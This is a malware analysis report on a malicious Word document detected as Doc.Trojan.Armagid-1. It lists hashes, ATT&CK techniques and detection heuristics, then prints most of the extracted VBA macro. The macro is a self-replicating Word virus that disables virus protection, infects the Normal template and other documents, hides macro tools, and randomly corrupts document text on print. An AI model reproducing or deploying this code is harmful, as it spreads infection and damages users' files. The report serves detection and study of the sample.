Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5d256ce778cb044…

MALICIOUS

Office (OLE)

41.5 KB Created: 1999-12-03 16:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f6cd819dcb0643f9f7486d87bb8afc7f SHA-1: 33fcf8ad4d388b02cdd99bd7d52a7cb97be4c530 SHA-256: f5d256ce778cb04454fe5775f8e52d8d0650c105258561b5fa71b339cbd82ba2
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample contains VBA macros with a Document_Open auto-execution routine. This routine is designed to disable virus protection and execute a secondary payload, as indicated by the 'Shell()' call and the ClamAV detection of 'Doc.Trojan.Armagid-1'. The macro attempts to write a new module named 'armagidon.bas', which likely contains further malicious code.

Heuristics 6

  • ClamAV: Doc.Trojan.Armagid-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Armagid-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8572 bytes
SHA-256: 8cca719d67fbbacd70e34d9fd2d677db366274aa8232eafa45ad2765c080dc90
Detection
ClamAV: Doc.Trojan.Armagid-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'ARMAGIDON
On Error Resume Next
Application.ScreenUpdating = False
Application.ShowVisualBasicEditor = False
Options.VirusProtection = False
NTinf = False
ATinf = False
NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If UCase(NI) = "'ARMAGIDON" Then NTinf = True
If UCase(AI) = "'ARMAGIDON" Then ATinf = True
If NTinf = True And ATinf = True Then GoTo 1
If NTinf = False Then
Set ND = NormalTemplate.VBProject.VBComponents(1).CodeModule
With ActiveDocument.VBProject.VBComponents(1).CodeModule
VC = .Lines(1, .CountOfLines)
End With
With ND
.DeleteLines 1, .CountOfLines
.InsertLines 1, VC
End With
End If
If ATinf = False Then
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
With NormalTemplate.VBProject.VBComponents(1).CodeModule
VC = .Lines(1, .CountOfLines)
End With
With AD
.DeleteLines 1, .CountOfLines
.InsertLines 1, VC
End With
End If
1: On Error GoTo armagidon
If NormalTemplate.VBProject.VBComponents("armagidon").Name = "armagidon" Then Exit Sub
armagidon:
Open "armagidon.bas" For Output As #1
Print #1, "Attribute VB_Name = " & Chr(34) & "armagidon" & Chr(34)
Print #1, "Sub AutoExec()"
Print #1, "Options.VirusProtection = False"
Print #1, "End Sub"
Print #1, "Sub AutoExit()"
Print #1, "Options.VirusProtection = True"
Print #1, "End Sub"
Print #1, "Sub ToolsOptions()"
Print #1, "Options.VirusProtection = True"
Print #1, "If Dialogs(wdDialogToolsOptions).Show Then"
Print #1, "End If"
Print #1, "Options.VirusProtection = False"
Print #1, "End Sub"
Print #1, "Sub ToolsMacro()"
Print #1, "End Sub"
Print #1, "Sub FileTemplates()"
Print #1, "End Sub"
Print #1, "Sub ViewVBcode()"
Print #1, "End Sub"
Print #1, "Sub Organizer()"
Print #1, "End Sub"
Print #1, "Sub ToolsRecordMacroStart()"
Print #1, "End Sub"
Print #1, "Sub ToolsRecordMacroToggle()"
Print #1, "End Sub"
Print #1, "Sub FileSave()"
Print #1, "On Error Resume Next"
Print #1, "Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule"
Print #1, "With NormalTemplate.VBProject.VBComponents(1).CodeModule"
Print #1, "VC = .Lines(1, .CountOfLines)"
Print #1, "End With"
Print #1, "With AD"
Print #1, ".DeleteLines 1, .CountOfLines"
Print #1, ".InsertLines 1, VC"
Print #1, "End With"
Print #1, "ActiveDocument.Save"
Print #1, "End Sub"
Print #1, "Sub FilePrint()"
Print #1, "On Error Resume Next"
Print #1, "Application.ScreenUpdating = False"
Print #1, "If Dialogs(wdDialogFilePrint).Show = -1 Then"
Print #1, "If Int((2 * Rnd) + 1) = 1 Then"
Print #1, "With Options"
Print #1, ".CheckSpellingAsYouType = False"
Print #1, ".CheckGrammarAsYouType = False"
Print #1, "End With"
Print #1, "Selection.Find.ClearFormatting"
Print #1, "Selection.Find.Replacement.ClearFormatting"
Print #1, "With Selection.Find"
Print #1, ".Text = " & Chr(34) & "р" & Chr(34)
Print #1, ".Replacement.Text = " & Chr(34) & "л" & Chr(34)
Print #1, ".Forward = True"
Print #1, ".Wrap = wdFindContinue"
Print #1, "End With"
Print #1, "Selection.Find.Execute Replace:=wdReplaceAll"
Print #1, "Selection.HomeKey Unit:=wdStory"
Print #1, "ActiveDocument.UndoClear"
Print #1, "End If"
Print #1, "End If"
Print #1, "End Sub"
Close #1
NormalTemplate.VBProject.VBComponents.Import ("armagidon.bas")
Kill "armagidon.bas"
ActiveDocument.SaveAs ActiveDocument.FullName
End Sub
Private Sub Document_New()
On Error Resume Next
If Day(Now()) = 8 And Month(Now()) = 5 Then  'Day of Red Cross
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Control Panel\Cursors", "Arrow") = "C:\WINDOWS\CURSORS\Help.cur" Then GoTo 2
Open "C:\WINDOWS\CURSORS\help.scr" For Output As #1
Print #1, "N Help.CUR"
Print #1, "E 0100 00 00 02 00 01 00 20 20 10 00 00 00 00 00 E8 02"
Pri
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.